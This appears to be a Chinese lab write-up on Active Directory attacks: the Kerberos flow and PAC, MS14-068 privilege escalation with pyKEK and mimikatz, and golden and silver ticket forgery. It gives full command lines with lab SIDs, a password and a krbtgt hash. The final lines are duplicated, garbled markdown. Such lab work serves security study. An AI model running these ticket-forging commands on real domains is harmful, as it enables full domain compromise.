【内网渗透】——MS14-068漏洞利用以及复现黄金票据
内网渗透——MS14-068漏洞利用以及复现黄金票据
文章目录
- 内网渗透——MS14-068漏洞利用以及复现黄金票据
- @[toc]
- 一:环境搭建
- 二:kerberos认证流程图
- 2.1**Kerberos 认证流程**
- 2.2PAC
- 三:**MS14-068漏洞利用思路**
- 四.Kerberos域用户提权漏洞(MS14-068)分析
- 4.1漏洞分析
- 4.2漏洞利用
- 五:实验过程【MS14-068注入过程】
- **5.1用ms14-068工具生成伪造的kerberos协议认证证书**
- 5.2PAC实验
- 六:黄金票据和白银票据
- 1.概念
- 2,实验过程
- 3.黄金票据和白银票据的区别
文章目录
- 内网渗透——MS14-068漏洞利用以及复现黄金票据
- @[toc]
- 一:环境搭建
- 二:kerberos认证流程图
- 2.1**Kerberos 认证流程**
- 2.2PAC
- 三:**MS14-068漏洞利用思路**
- 四.Kerberos域用户提权漏洞(MS14-068)分析
- 4.1漏洞分析
- 4.2漏洞利用
- 五:实验过程【MS14-068注入过程】
- **5.1用ms14-068工具生成伪造的kerberos协议认证证书**
- 5.2PAC实验
- 六:黄金票据和白银票据
- 1.概念
- 2,实验过程
- 3.黄金票据和白银票据的区别
一:环境搭建
域控制器(DC)—— Kerberos 的“认证服务器”——Windows8
用户机(Client)—— Kerberos 的“客户端”——Windows10
设备 | 可能角色 | 说明 |
---|---|---|
WIN10 | Client(用户机) | 普通域成员,用户从此机器登录域,请求 Kerberos 票据访问资源。 |
WIN8 | DC(域控制器) | 安装 Active Directory 并启用 KDC 服务,负责认证和票据分发。 |
WIN8 | Service Server | 如果同时运行文件共享/IIS 等服务,需验证客户端票据(如 ST)。 |
二:kerberos认证流程图
Kerberos 是一种网络认证协议,主要用于 非对称网络环境(如企业内网)下的 安全身份验证。它由 MIT 开发,现已成为 Active Directory(AD)域 的核心认证机制。
2.1Kerberos 认证流程
假设用户 Alice
想访问 文件共享服务(\\fileserver)
:
Step 1: AS-REQ & AS-REP(获取 TGT)
- Client → AS(Authentication Service):
- Alice 输入密码,客户端用她的密码哈希加密当前时间戳,发送给 AS。
- AS → Client:
- AS 验证时间戳解密成功 → 返回 TGT(Ticket Granting Ticket)(用
krbtgt
密钥加密,Client 无法解密但可携带)。 - 同时返回 Session Key(SK_TGS)(用于后续与 TGS 通信,用 Alice 的密码哈希加密)。
- AS 验证时间戳解密成功 → 返回 TGT(Ticket Granting Ticket)(用
📌 TGT 的作用:证明用户已通过初始认证,后续无需重复输入密码。
Step 2: TGS-REQ & TGS-REP(获取 ST)
- Client → TGS(Ticket Granting Service):
- 发送 TGT + 请求的服务名(如
cifs/fileserver
) + 用 SK_TGS 加密的认证信息。
- 发送 TGT + 请求的服务名(如
- TGS → Client:
- 验证 TGT(用
krbtgt
密钥解密)→ 返回 ST(Service Ticket)(用fileserver
的服务密钥加密)。 - 同时返回 Session Key(SK_Service)(用于与文件服务器通信,用 SK_TGS 加密)。
- 验证 TGT(用
📌 ST 的作用:证明用户有权访问特定服务(如文件共享)。
Step 3: AP-REQ & AP-REP(访问服务)
-
Client → Service Server:
- 发送 ST + 用 SK_Service 加密的认证信息。
-
Service Server → Client:
- 用自身的服务密钥解密 ST → 验证通过后允许访问。
2.2PAC
我们知道在Kerberos最初的设计的流程里只说了如何证明客户端的真实身份, 并没有说明客户端是否有权限访问该服务,因为在域中不同的权限的用户 能够访问的资源是不同的,因此微软为了解决这个权限为题引入了PAC(特权属性证书)。
引入PAC以后,在AS REP阶段返回的TGT中会包含PAC,TGS REQ阶段中client将带有PAC的TGT发送给KDC,KDC除了验证TGT的合法性以外,还会验证PAC的合法性,如果两者都验证通过,再重新构造新的PAC放在ST里返回给客户端,client带着这个pac去请求服务,服务会根据PAC中的user id和group id来判断client具有的权限。
PAC主要有两个部分组成,一个是用户信息,一个是两个数字签名。
①用户信息:Client的User的SID、Group的SID等信息。根据用户信息去判断权限
②数字签名:这两个签名的作用是确保PAC不被篡改
三:MS14-068漏洞利用思路
1.发起一个PA_PAC_REQUEST里面选择include_pac为false,此时生成的TGT里面是不包含PAC的
2.伪造一个PAC,sid为当前用户的sid,将管理组的sid加入GRouple
3.利用pykek的代码制作一个PAC
4.发起TGS_REQ此时的TGT不包含PAC,然后在enc-authorization-data钟表馆加入伪造的pac
5,利用mimikatz发起pass the ticket Attack
如何伪造PAC。下面为其流程:
1.我们发送AS_REQ时将数据包中的include-PAC修改为False。
2.指定PAC的加密算法和密钥并将pac中的权限改为管理员权限,生成PAC
3.将PAC添加到数据包中发送KDC验证
4.KDC验证通过以后生成一个正常的TGT并返回给客户端
5.到此,我们拿到了高权限的TGT,将其导入内存中,我们就可以使用这个TGT去申请服务票据。
四.Kerberos域用户提权漏洞(MS14-068)分析
4.1漏洞分析
Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会收到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。
该漏洞可导致活动目录整体权限控制收到影响,允许攻击者将域内任意用户权限提升至域管理级别。
如果攻击者获取了域内任何一台计算机的 shell 权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限。
漏洞产生原理:用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。
参考文件
https://cloud.tencent.com/developer/article/1760132
https://www.freebuf.com/articles/network/373088.html
4.2漏洞利用
利用 MS14-068 漏洞,攻击者可以使用多种工具和方法,如 pyKEK 工具包、MSF 模块和 goldenPac.py 1 2 。
以下是使用 pyKEK 工具包生成高权限票据的步骤:
[!NOTE]
- PoC工具与代码
- PyKEK:伪造PAC的Python库。
- Mimikatz:执行票据传递攻击。
查看用户的 SID: whoami /user
生成高权限票据: ms14-068.py -u 用户名@域名 -s 用户SID -d 域控制器地址 -p 明文密码
将高权限票据注入内存: kerberos::ptc “TGT_用户名@域名.ccache”
pac不在默认地方也可以被识别
五:实验过程【MS14-068注入过程】
PyKEY 是一个利用 Kerberos 协议进行渗透测试的工具包。 使用 PyKEY 可以生成一张高权限的服务票据,并通过 mimikatz 将服务票据注入内存。
5.1用ms14-068工具生成伪造的kerberos协议认证证书
(1)运行文件包内的ms14-068.py文件
ms-14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域ip
[!NOTE]
参数说明:
-u 域账号+@+域名称,这里是ts1+@+yunying.lab
-p 为当前用户的密码,即ts1的密码
-s为ts1的SID值,可以通过whoami/all来获取用户的SID值
-d为当前域的域控
(2)查看域控制器的补丁安装情况
(3)拿到了域控的机器并且有管理员权限,并且已经拿到这个用户的密码。例如以用户User1的身份登录电脑。通过whoami /user 获取用户的sid
还可以使用这条命令获取域内所有用户的 SID:
(4)生成高权限票据 使用 PyKEY 生成高权限票据命令格式:
ms14-068.py -u 域成员@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
例如本机的密码为:
域成员:krbtgtUser1
域名:test.com
mary 的 sid:S-1-5-21-4240251783-997276874-2853528738-1105
域控制器地址:192.168.70.135
域成员的密码:QAX@123
使用命令如下:
ms14-068.py -u krbtgtuser1@test.com -s S-1-5-21-4240251783-997276874-2853528738-1105 -d 192.168.70.139 -p QAX@123
之后会在当前路径下生成一个名为 :TGT_mary@god.org.ccache 的票据文件。
(5)获取到TGT文件以后,用mimikatz.exe将证书写入,从而提升为域管理员。
1.如果目标主机上内存中有票据的话,我们需要把票据都清除:
2.将高权限票据注入内存
将票据文件复制到 机器下的 mimikatz 目录下,使用 mimikatz 将票据注入内存:
kerberos::ptc "TGT_krbtgtuser1@test.com.ccache"
显示 Injecting ticket:OK ,表示注入成功!
(6)此时进行验证权限 使用 dir 列出域控制器 C 盘的内容,这个时候就可以访问域控制器 C 盘的内容。
dir \\WIN-ISB0SNPKEPI(DC域)\c$
之前没有权限显示拒绝访问
注入后获得权限可以查看:
5.2PAC实验
(1)wireshark抓包,过滤器选择为kerkeros,可以看到为FALSE
(2)Python2 运行脚本——得到PAC包(没有运行,但可以在文件夹内找到运行后的文件)
(3)使用Pykek生成伪造票据,使用kerberos测试工具。
(4)导入测试工具之中获得最后的票据
(5)清除票据信息
(6)导入票据,有了票据之后有了权限可以访问DC的盘
获得权限后可以查看:
六:黄金票据和白银票据
1.概念
6.1 什么是黄金票据?
黄金票据(Golden Ticket)是 Kerberos 认证协议中的一种攻击技术,攻击者利用 域控制器的 KRBTGT 账户的 NTLM Hash 伪造 TGT(Ticket Granting Ticket),从而获得域内任意用户的权限,包括 域管理员(Domain Admin) 权限。
6.2 黄金票据的特点
-
持久性强:只要 KRBTGT 账户的密码(Hash)未更改,黄金票据就有效(默认情况下,域控每 60 天 自动更改 KRBTGT 密码)。
-
无需与 KDC(Key Distribution Center)交互:攻击者可以离线生成 TGT。
-
可伪造任意用户:可以伪造 域管理员 或其他高权限用户身份。
-
绕过大部分安全检测:由于黄金票据是合法的 Kerberos 票据,许多安全产品难以检测。
6.3 黄金票据攻击的前提条件
-
获取 KRBTGT 账户的 NTLM Hash(通常通过 域控提权 或 DCSync 攻击 获取)。
-
知道域的 SID(Security Identifier)(可通过
whoami /user
或Get-ADDomain
获取)。 -
知道目标用户名(如
Administrator
)。 -
攻击者已进入内网(可以访问域控或域内机器)。
2,实验过程
(1)获取 KRBTGT 账户的 NTLM Hash——通过 Mimikatz 提取 KRBTGT Hash
记录 KRBTGT 的 NTLM Hash:fce53cd1db024b186ca08786b1b5ae81
记录 域的 SID:S-1-5-21-4240251783-997276874-2853528738-500
(2)生成黄金票据
①使用 Mimikatz 生成黄金票据:
mimikatz # kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-4240251783-997276874-2853528738-500 /krbtgt:fce53cd1db024b186ca08786b1b5ae81 /id:500 /ptt
[!NOTE]
/user
:伪造的用户(如Administrator
)。/domain
:目标域(如evilcorp.local
)。/sid
:域的 SID。/krbtgt
:KRBTGT 的 NTLM Hash。/id
:用户 RID(500 是 Administrator)。/ptt
:将票据注入当前会话(Pass-the-Ticket)。
②验证票据是否注入成功:klist
(3)利用黄金票据访问域控
如果成功,说明黄金票据生效。
3.黄金票据和白银票据的区别
(1)特征对比
对比项 | 黄金票据(Golden Ticket) | 白银票据(Silver Ticket) |
---|---|---|
伪造的票据类型 | TGT(Ticket Granting Ticket) | ST(Service Ticket) |
依赖的密钥 | KRBTGT 账户的 NTLM/AES Key | 目标服务账户的 NTLM/AES Key(如 CIFS$ 、HTTP$ ) |
攻击范围 | 整个域(可访问任何服务) | 仅限特定服务(如 CIFS 、LDAP 、MSSQL ) |
是否需要与 KDC 交互 | 不需要(完全离线伪造) | 不需要(离线伪造) |
持久性 | 长期有效(直到 KRBTGT 密码重置) | 短期有效(默认 10 小时) |
典型攻击目标 | 域控(DC) | 特定服务(如文件共享、数据库) |
(1)攻击方式对比
黄金票据(Golden Ticket)
-
攻击流程:
- 获取 KRBTGT 账户的 Hash(通过 DCSync、域控提权等)。
- 伪造 TGT,包含任意用户身份(如
Administrator
)。 - 使用伪造的 TGT 请求 任意服务的 ST,获得高权限访问。
-
示例命令(Mimikatz):
kerberos::golden /user:Administrator /domain:evilcorp.local /sid:S-1-5-21-... /krbtgt:aad3b435... /ptt
白银票据(Silver Ticket)
-
攻击流程:
- 获取 目标服务账户的 Hash(如
CIFS$
、MSSQL$
)。 - 直接伪造 ST(无需 TGT),仅针对特定服务。
- 访问该服务(如
\\dc\C$
)。
- 获取 目标服务账户的 Hash(如
-
示例命令(Mimikatz):
kerberos::golden /user:Administrator /domain:evilcorp.local /sid:S-1-5-21-... /target:dc.evilcorp.local /service:CIFS /rc4:1a2b3c4d... /ptt
黄金票据是 最危险的 Kerberos 攻击之一,攻击者一旦获取 KRBTGT Hash,就可以 长期控制整个域。防御的关键在于 保护 KRBTGT 账户 和 监控异常 Kerberos 活动。黄金票据适合长期权限维持,白银票据适合针对性渗透。
FS ‘ 、 ‘ M S S Q L `、`MSSQL ‘、‘MSSQL)。 2. 直接伪造 **ST**(无需 TGT),仅针对特定服务。 3. 访问该服务(如
\dc\C$`)。
-
示例命令(Mimikatz):
kerberos::golden /user:Administrator /domain:evilcorp.local /sid:S-1-5-21-... /target:dc.evilcorp.local /service:CIFS /rc4:1a2b3c4d... /ptt
黄金票据是 最危险的 Kerberos 攻击之一,攻击者一旦获取 KRBTGT Hash,就可以 长期控制整个域。防御的关键在于 保护 KRBTGT 账户 和 监控异常 Kerberos 活动。黄金票据适合长期权限维持,白银票据适合针对性渗透。